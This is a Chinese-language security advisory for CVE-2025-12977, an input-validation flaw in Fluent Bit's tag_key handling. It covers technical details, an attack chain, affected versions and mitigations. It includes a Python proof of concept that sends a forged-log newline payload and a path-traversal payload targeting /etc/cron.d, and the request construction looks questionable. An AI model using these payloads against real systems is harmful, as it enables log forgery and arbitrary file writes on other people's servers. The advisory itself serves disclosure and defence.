IPBUF安全漏洞报告
English
CVE-2025-12977 CVSS 9.1 严重

CVE-2025-12977: Fluent Bit tag_key输入未校验导致路径遍历与日志注入漏洞

披露日期: 2025-11-24

漏洞信息

漏洞编号
CVE-2025-12977
漏洞类型
路径遍历,日志注入,输入校验不当
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Fluent Bit (in_http, in_splunk, in_elasticsearch插件)

相关标签

CVE-2025-12977Fluent Bit路径遍历日志注入输入校验tag_keyin_httpin_splunkin_elasticsearch日志安全

漏洞概述

CVE-2025-12977是Fluent Bit日志收集工具中的一个高危安全漏洞,CVSS评分达到9.1(严重级别)。该漏洞影响Fluent Bit的三个输入插件:in_http、in_splunk和in_elasticsearch。这些插件在处理tag_key参数时未能对用户输入进行充分的输入校验和清理,导致攻击者可以通过在tag_key值中注入特殊字符(如换行符或路径遍历序列“../”)来执行恶意操作。由于Fluent Bit的标签(tag)系统控制着日志路由逻辑,且部分输出插件会根据标签来生成文件名或日志内容,攻击者可以利用此漏洞实现换行注入、路径遍历、伪造记录注入或日志误路由,最终影响数据的完整性和日志路由的安全性。攻击者只需具备网络访问权限或能够向Splunk/Elasticsearch写入记录的能力即可利用此漏洞,无需任何身份认证。

技术细节

Fluent Bit的tag系统是日志路由的核心机制,标签用于确定日志记录的流向和输出方式。in_http、in_splunk、in_elasticsearch三个输入插件在接收用户传入的tag_key参数时,没有对特殊字符进行过滤或转义处理,导致以下安全问题:1) 换行符注入:攻击者可以在tag_key中插入换行符(\n或\r\n),使日志系统将单个日志行拆分为多行,或在日志中注入伪造的日志条目;2) 路径遍历:通过在tag_key中使用“../”序列,攻击者可以操控输出插件(如file插件)的文件路径,可能实现向任意目录写入文件或覆盖系统文件;3) 日志误路由:特殊字符可能导致标签匹配规则失效或产生意外行为,使日志被路由到错误的目标位置;4) 数据完整性破坏:攻击者可利用标签衍生出的文件名或内容包含恶意数据,污染日志存储系统。漏洞的根本原因在于插件代码假设tag_key输入是可信的,直接将其作为标签使用而未进行任何输入验证或白名单校验。

攻击链分析

STEP 1
1
信息收集:攻击者识别目标系统中运行的Fluent Bit服务及其暴露的输入插件接口
STEP 2
2
构造恶意请求:攻击者构造包含特殊字符的tag_key参数值,如换行符(\n)或路径遍历序列(../../)
STEP 3
3
发送恶意请求:通过HTTP/Splunk/Elasticsearch协议向in_http、in_splunk或in_elasticsearch插件发送特制的日志数据
STEP 4
4
注入生效:未经过滤的tag_key值被Fluent Bit作为有效标签处理,影响日志路由和输出行为
STEP 5
5
实现攻击效果:根据注入内容的不同,可能实现日志伪造(注入虚假日志条目)、路径遍历(向敏感目录写入文件)或日志误路由(破坏日志完整性)
STEP 6
6
持久化/扩大影响:利用路径遍历可能实现持久化控制(如写入cron任务),或通过日志污染影响基于日志的安全分析系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-12977 PoC - Fluent Bit tag_key Injection # Target: Fluent Bit in_http plugin with vulnerable tag_key parameter def exploit_fluentbit_tag_injection(target_url, payload_type='newline_injection'): """ Demonstrate tag_key injection vulnerability in Fluent Bit payload_type options: - 'newline_injection': Inject newline to forge additional log entries - 'path_traversal': Use ../ to manipulate file output paths """ if payload_type == 'newline_injection': # Inject newline character to create additional log entries malicious_tag = "test\n forged-entry: malicious_data_injected" elif payload_type == 'path_traversal': # Path traversal to write outside intended directory malicious_tag = "../../etc/cron.d/malicious" else: malicious_tag = "test" # HTTP request to in_http plugin with malicious tag_key params = { 'tag_key': malicious_tag, 'message': 'original_log_entry' } try: response = requests.get(f'{target_url}/tag_key={malicious_tag}', params=params, timeout=10) print(f"[*] Request sent to {target_url}") print(f"[*] Malicious tag_key: {repr(malicious_tag)}") print(f"[*] Response status: {response.status_code}") return response.text except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None # Example usage if __name__ == '__main__': target = 'http://localhost:2020/' exploit_fluentbit_tag_injection(target, 'newline_injection') exploit_fluentbit_tag_injection(target, 'path_traversal')

影响范围

Fluent Bit < 4.0.9 (4.0.x分支)
Fluent Bit < 4.1.0 (4.1.x分支)

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 通过防火墙或安全组规则限制对Fluent Bit输入端口(如2020、5140等)的网络访问,仅允许受信任的IP地址连接;2) 在Fluent Bit前端部署Web应用防火墙(WAF)或API网关,对输入参数进行过滤,拦截包含\n、\r、../等特殊字符的请求;3) 禁用不必要的高风险插件(如in_http),减少攻击面;4) 加强日志监控,当发现日志中出现异常的标签格式或伪造的日志条目时及时告警;5) 考虑使用网络隔离技术将Fluent Bit部署在独立的安全区域,限制其对敏感系统目录的写权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表